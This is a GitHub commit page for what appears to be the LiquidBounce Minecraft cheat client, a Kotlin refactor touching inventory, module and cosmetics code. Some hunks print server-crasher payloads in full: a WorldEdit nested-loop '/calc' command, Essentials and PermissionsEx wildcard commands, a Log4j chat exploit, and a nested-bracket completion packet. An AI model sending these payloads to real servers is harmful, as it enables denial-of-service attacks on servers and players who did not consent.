Skip to content

Commit

Permalink
refactor: code cleanups
Browse files Browse the repository at this point in the history
  • Loading branch information
MukjepScarlet committed Feb 14, 2025
1 parent aedfc8b commit 89409b8
Show file tree
Hide file tree
Showing 20 changed files with 111 additions and 107 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ import com.mojang.authlib.GameProfile
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.runBlocking
import net.ccbluex.liquidbounce.LiquidBounce
import net.ccbluex.liquidbounce.api.core.withScope
import net.ccbluex.liquidbounce.api.models.cosmetics.Cosmetic
import net.ccbluex.liquidbounce.api.models.cosmetics.CosmeticCategory
import net.ccbluex.liquidbounce.api.services.cosmetics.CapeApi
Expand All @@ -30,7 +31,6 @@ import net.ccbluex.liquidbounce.event.events.DisconnectEvent
import net.ccbluex.liquidbounce.event.handler
import net.ccbluex.liquidbounce.utils.client.mc
import net.minecraft.util.Identifier
import net.minecraft.util.Util

/**
* A cape cosmetic manager
Expand All @@ -45,7 +45,7 @@ object CapeCosmeticsManager : EventListener {
* We also don't need to worry about memory leaks
* because the cache is cleared when the player disconnects from the world.
*/
private var cachedCapes = mutableMapOf<String, Identifier>()
private val cachedCapes = mutableMapOf<String, Identifier>()

/**
* Interface for returning a cape texture
Expand All @@ -63,7 +63,7 @@ object CapeCosmeticsManager : EventListener {
* Loads a player cape
*/
fun loadPlayerCape(player: GameProfile, response: ReturnCapeTexture) {
Util.getMainWorkerExecutor().execute {
withScope {
runCatching {
val uuid = player.id

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -237,6 +237,6 @@ open class ClientModule(
choicesCallback: (ChoiceConfigurable<T>) -> Array<T>
) = choices(this, name, activeIndex, choicesCallback)

fun message(key: String, vararg args: Any) = translation("$baseKey.messages.$key", *args)
fun message(key: String, vararg args: Any) = translation("$baseKey.messages.$key", args = args)

}
Original file line number Diff line number Diff line change
Expand Up @@ -436,10 +436,10 @@ object ModuleManager : EventListener, Iterable<ClientModule> by modules {
modules.clear()
}

fun autoComplete(begin: String, validator: (ClientModule) -> Boolean = { true }): List<String> {
inline fun autoComplete(begin: String, validator: (ClientModule) -> Boolean = { true }): List<String> {
val parts = begin.split(",")
val matchingPrefix = parts.last()
val resultPrefix = parts.dropLast(1).joinToString(",") + ","
val resultPrefix = parts.subList(0, parts.size - 1).joinToString(",") + ","
return filter { it.name.startsWith(matchingPrefix, true) && validator(it) }
.map {
if (parts.size == 1) {
Expand All @@ -463,6 +463,7 @@ object ModuleManager : EventListener, Iterable<ClientModule> by modules {
fun getCategories() = Category.entries.mapArray { it.readableName }

@JvmName("getModules")
@ScriptApiRequired
fun getModules(): Iterable<ClientModule> = modules

@JvmName("getModuleByName")
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -48,11 +48,11 @@ object ModuleAutoArmor : ClientModule("AutoArmor", Category.COMBAT) {

private val scheduleHandler = handler<ScheduleInventoryActionEvent> { event ->
// Filter out already equipped armor pieces
val armorToEquip = ArmorEvaluation.findBestArmorPieces().values.filterNotNull().filter {
!it.isAlreadyEquipped
}
for (armorPiece in ArmorEvaluation.findBestArmorPieces().values) {
if (armorPiece == null || armorPiece.isAlreadyEquipped) {
continue
}

for (armorPiece in armorToEquip) {
event.schedule(
inventoryConstraints,
equipArmorPiece(armorPiece) ?: continue,
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,6 @@ import net.ccbluex.liquidbounce.event.events.ChatReceiveEvent
import net.ccbluex.liquidbounce.event.events.PacketEvent
import net.ccbluex.liquidbounce.event.handler
import net.ccbluex.liquidbounce.event.tickHandler
import net.ccbluex.liquidbounce.event.sequenceHandler
import net.ccbluex.liquidbounce.features.module.Category
import net.ccbluex.liquidbounce.features.module.ClientModule
import net.ccbluex.liquidbounce.utils.client.chat
Expand Down Expand Up @@ -87,12 +86,12 @@ object ModulePlugins : ClientModule("Plugins", Category.EXPLOIT) {
}

@Suppress("unused")
val chatHandler = sequenceHandler<ChatReceiveEvent> { event ->
val chatHandler = handler<ChatReceiveEvent> { event ->
val message = event.message

// Only handle game messages. It is unlikely that any server will use a player for the chat game.
if (event.type != ChatReceiveEvent.ChatType.GAME_MESSAGE) {
return@sequenceHandler
return@handler
}

// Wait for server response
Expand All @@ -104,6 +103,7 @@ object ModulePlugins : ClientModule("Plugins", Category.EXPLOIT) {

// Sadly we cannot use the takeInput here, because we cannot cancel the message with this event.
// Might change this in the future.
// TODO: event.cancelEvent() ?
}
}
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@ import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ex
* Uses //calc to crash WorldEdit if the server is using the WorldEdit plugin and permissions are granted.
* However, this exploit was fixed.
*/
object CalcExploit : CommandExploit("Calc", {
"/calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}"
})
object CalcExploit : CommandExploit("Calc") {
override fun command(): String =
"/calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}"
}
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,6 @@ import net.ccbluex.liquidbounce.config.types.ChoiceConfigurable
import net.ccbluex.liquidbounce.event.tickHandler
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket
import java.util.stream.Collectors
import java.util.stream.IntStream

object CompletionExploit : Choice("Completion") {
override val parent: ChoiceConfigurable<Choice>
Expand Down Expand Up @@ -90,11 +88,13 @@ object CompletionExploit : Choice("Completion") {
// Until it is too late.

// Replaced Object with array and removed closing brackets
val `in` = IntStream.range(0, levels)
.mapToObj { _ -> "[" }
.collect(Collectors.joining())
val json = "{a:$`in`}"
return json
return buildString(4 + levels) {
append("{a:")
repeat(levels) {
append('[')
}
append('}')
}
}

}
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,6 @@ package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.e

import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits.types.CommandExploit

object EssentialsExploit : CommandExploit("Essentials", {
"pay * a a"
})
object EssentialsExploit : CommandExploit("Essentials") {
override fun command(): String = "pay * a a"
}
Original file line number Diff line number Diff line change
Expand Up @@ -52,10 +52,11 @@ fun generateLog4j(): String {
*
* Uses Log4j to crash the server.
*/
object Log4jChatExploit : ChatExploit("Log4jChat", {
"${RandomStringUtils.randomAlphabetic(4)} ${generateLog4j()} ${RandomStringUtils.randomAlphabetic(4)}"
})
object Log4jChatExploit : ChatExploit("Log4jChat") {
override fun chat(): String =
"${RandomStringUtils.randomAlphabetic(4)} ${generateLog4j()} ${RandomStringUtils.randomAlphabetic(4)}"
}

object Log4jTellExploit : CommandExploit("Log4jTell", {
"tell ${RandomStringUtils.randomAlphabetic(4)} ${generateLog4j()}"
})
object Log4jTellExploit : CommandExploit("Log4jTell") {
override fun command(): String = "tell ${RandomStringUtils.randomAlphabetic(4)} ${generateLog4j()}"
}
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,6 @@ import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ex
/**
* PermissionsEx exploit
*/
object PromoteExploit : CommandExploit("Promote", {
"promote * a"
})
object PromoteExploit : CommandExploit("Promote") {
override fun command(): String = "promote * a"
}
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,9 @@ package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.e
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.client.chat

open class ChatExploit(name: String, private val chat: () -> String) : Exploit(name) {
abstract class ChatExploit(name: String) : Exploit(name) {

abstract fun chat(): String

override fun enable() {
network.sendChatMessage(chat())
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,9 @@ package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.e
import net.ccbluex.liquidbounce.features.module.modules.exploit.ModuleResetVL.enabled
import net.ccbluex.liquidbounce.utils.client.chat

open class CommandExploit(name: String, private val command: () -> String) : Exploit(name) {
abstract class CommandExploit(name: String) : Exploit(name) {

abstract fun command(): String

override fun enable() {
network.sendChatCommand(command())
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -41,14 +41,14 @@ import kotlin.math.ceil

object ModuleChestStealer : ClientModule("ChestStealer", Category.PLAYER) {

val inventoryConstrains = tree(InventoryConstraints())
val autoClose by boolean("AutoClose", true)
private val inventoryConstrains = tree(InventoryConstraints())
private val autoClose by boolean("AutoClose", true)

val selectionMode by enumChoice("SelectionMode", SelectionMode.DISTANCE)
val itemMoveMode by enumChoice("MoveMode", ItemMoveMode.QUICK_MOVE)
val quickSwaps by boolean("QuickSwaps", true)
private val selectionMode by enumChoice("SelectionMode", SelectionMode.DISTANCE)
private val itemMoveMode by enumChoice("MoveMode", ItemMoveMode.QUICK_MOVE)
private val quickSwaps by boolean("QuickSwaps", true)

val checkTitle by boolean("CheckTitle", true)
private val checkTitle by boolean("CheckTitle", true)

init {
tree(FeatureChestAura)
Expand Down Expand Up @@ -136,7 +136,7 @@ object ModuleChestStealer : ClientModule("ChestStealer", Category.PLAYER) {
cleanupPlan: InventoryCleanupPlan,
slotsToCollect: Int,
): Int {
val freeSlotsInInv = (0..35).count { player.inventory.getStack(it).isNothing() }
val freeSlotsInInv = (Slots.Inventory + Slots.Hotbar).count { it.itemStack.isEmpty }

val spaceGainedThroughMerge = cleanupPlan.mergeableItems.entries.sumOf { (id, slots) ->
val slotsInChest = slots.count { it.slotType == ItemSlotType.CONTAINER }
Expand All @@ -153,12 +153,10 @@ object ModuleChestStealer : ClientModule("ChestStealer", Category.PLAYER) {
private fun isScreenTitleChest(screen: GenericContainerScreen): Boolean {
val titleString = screen.title.string

return sequenceOf(
return arrayOf(
"container.chest", "container.chestDouble", "container.enderchest", "container.shulkerBox",
"container.barrel"
)
.map { Text.translatable(it) }
.any { it.string == titleString }
).any { Text.translatable(it).string == titleString }
}


Expand Down Expand Up @@ -221,7 +219,8 @@ object ModuleChestStealer : ClientModule("ChestStealer", Category.PLAYER) {
return cleanupPlan
}

enum class SelectionMode(
@Suppress("UNUSED")
private enum class SelectionMode(
override val choiceName: String,
val processor: (List<ContainerItemSlot>) -> List<ContainerItemSlot>
) : NamedChoice {
Expand Down Expand Up @@ -255,7 +254,7 @@ object ModuleChestStealer : ClientModule("ChestStealer", Category.PLAYER) {
}
}

enum class ItemMoveMode(override val choiceName: String) : NamedChoice {
private enum class ItemMoveMode(override val choiceName: String) : NamedChoice {
QUICK_MOVE("QuickMove"),
DRAG_AND_DROP("DragAndDrop"),
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,8 @@ import net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.items.
import net.ccbluex.liquidbounce.features.module.modules.player.offhand.ModuleOffhand
import net.ccbluex.liquidbounce.utils.inventory.*
import net.ccbluex.liquidbounce.utils.kotlin.Priority
import net.ccbluex.liquidbounce.utils.kotlin.component1
import net.ccbluex.liquidbounce.utils.kotlin.component2
import net.minecraft.screen.slot.SlotActionType

/**
Expand Down Expand Up @@ -57,28 +59,25 @@ object ModuleInventoryCleaner : ClientModule("InventoryCleaner", Category.PLAYER

val cleanupTemplateFromSettings: CleanupPlanPlacementTemplate
get() {
val slotTargets: HashMap<ItemSlot, ItemSortChoice> = hashMapOf(
val slotTargets = hashMapOf<ItemSlot, ItemSortChoice>(
Pair(OffHandSlot, offHandItem),
Pair(HotbarItemSlot(0), slotItem1),
Pair(HotbarItemSlot(1), slotItem2),
Pair(HotbarItemSlot(2), slotItem3),
Pair(HotbarItemSlot(3), slotItem4),
Pair(HotbarItemSlot(4), slotItem5),
Pair(HotbarItemSlot(5), slotItem6),
Pair(HotbarItemSlot(6), slotItem7),
Pair(HotbarItemSlot(7), slotItem8),
Pair(HotbarItemSlot(8), slotItem9),
Pair(Slots.Hotbar[0], slotItem1),
Pair(Slots.Hotbar[1], slotItem2),
Pair(Slots.Hotbar[2], slotItem3),
Pair(Slots.Hotbar[3], slotItem4),
Pair(Slots.Hotbar[4], slotItem5),
Pair(Slots.Hotbar[5], slotItem6),
Pair(Slots.Hotbar[6], slotItem7),
Pair(Slots.Hotbar[7], slotItem8),
Pair(Slots.Hotbar[8], slotItem9),
)

val forbiddenSlots = slotTargets
.filter { it.value == ItemSortChoice.IGNORE }
.map { (slot, _) -> slot }
.toHashSet()
.filterValues { it == ItemSortChoice.IGNORE }
.keys.toHashSet()

// Disallow tampering with armor slots since auto armor already handles them
for (armorSlot in 0 until 4) {
forbiddenSlots.add(ArmorItemSlot(armorSlot))
}
forbiddenSlots += Slots.Armor

if (ModuleOffhand.isOperating()) {
// Disallow tampering with off-hand slot when AutoTotem is active
Expand Down Expand Up @@ -163,8 +162,8 @@ object ModuleInventoryCleaner : ClientModule("InventoryCleaner", Category.PLAYER
) = itemsInInv.filter { it !in cleanupPlan.usefulItems }

private class AmountConstraintProvider(
val desiredItemsPerCategory: HashMap<ItemCategory, Int>,
val desiredValuePerFunction: HashMap<ItemFunction, Int>,
val desiredItemsPerCategory: Map<ItemCategory, Int>,
val desiredValuePerFunction: Map<ItemFunction, Int>,
) {
fun getConstraints(facet: ItemFacet): ArrayList<ItemConstraintInfo> {
val constraints = ArrayList<ItemConstraintInfo>()
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
*/
package net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.items

import it.unimi.dsi.fastutil.objects.ObjectIntPair
import net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.ItemCategory
import net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.ItemFunction
import net.ccbluex.liquidbounce.utils.inventory.ItemSlot
Expand All @@ -39,7 +40,7 @@ class FoodItemFacet(itemSlot: ItemSlot) : ItemFacet(itemSlot) {
compareBy {
val foodComponent = it.itemStack.foodComponent!!

foodComponent.saturation.toFloat() / foodComponent.nutrition.toFloat()
foodComponent.saturation / foodComponent.nutrition.toFloat()
},
compareBy { it.itemStack.foodComponent!!.nutrition },
compareBy { it.itemStack.foodComponent!!.saturation },
Expand All @@ -49,8 +50,8 @@ class FoodItemFacet(itemSlot: ItemSlot) : ItemFacet(itemSlot) {
)
}

override val providedItemFunctions: List<Pair<ItemFunction, Int>>
get() = arrayListOf(ItemFunction.FOOD to itemStack.count * itemStack.foodComponent!!.nutrition)
override val providedItemFunctions: List<ObjectIntPair<ItemFunction>>
get() = listOf(ObjectIntPair.of(ItemFunction.FOOD, itemStack.count * itemStack.foodComponent!!.nutrition))

override val category: ItemCategory
get() = ItemCategory(ItemType.FOOD, 0)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
*/
package net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.items

import it.unimi.dsi.fastutil.objects.ObjectIntPair
import net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.ItemCategory
import net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.ItemFunction
import net.ccbluex.liquidbounce.utils.inventory.ItemSlot
Expand All @@ -31,7 +32,7 @@ open class ItemFacet(val itemSlot: ItemSlot) : Comparable<ItemFacet> {
open val category: ItemCategory
get() = ItemCategory(ItemType.NONE, 0)

open val providedItemFunctions: List<Pair<ItemFunction, Int>>
open val providedItemFunctions: List<ObjectIntPair<ItemFunction>>
get() = emptyList()

val itemStack: ItemStack
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
*/
package net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.items

import it.unimi.dsi.fastutil.objects.ObjectIntPair
import net.ccbluex.liquidbounce.features.module.modules.player.invcleaner.*
import net.ccbluex.liquidbounce.utils.inventory.ItemSlot
import net.ccbluex.liquidbounce.utils.item.EnchantmentValueEstimator
Expand Down Expand Up @@ -88,8 +89,8 @@ open class WeaponItemFacet(itemSlot: ItemSlot) : ItemFacet(itemSlot) {
override val category: ItemCategory
get() = ItemCategory(ItemType.WEAPON, 0)

override val providedItemFunctions: List<Pair<ItemFunction, Int>>
get() = arrayListOf(ItemFunction.WEAPON_LIKE to 1)
override val providedItemFunctions: List<ObjectIntPair<ItemFunction>>
get() = listOf(ObjectIntPair.of(ItemFunction.WEAPON_LIKE, 1))

override fun compareTo(other: ItemFacet): Int {
return COMPARATOR.compare(this, other as WeaponItemFacet)
Expand Down
Loading

0 comments on commit 89409b8

Please sign in to comment.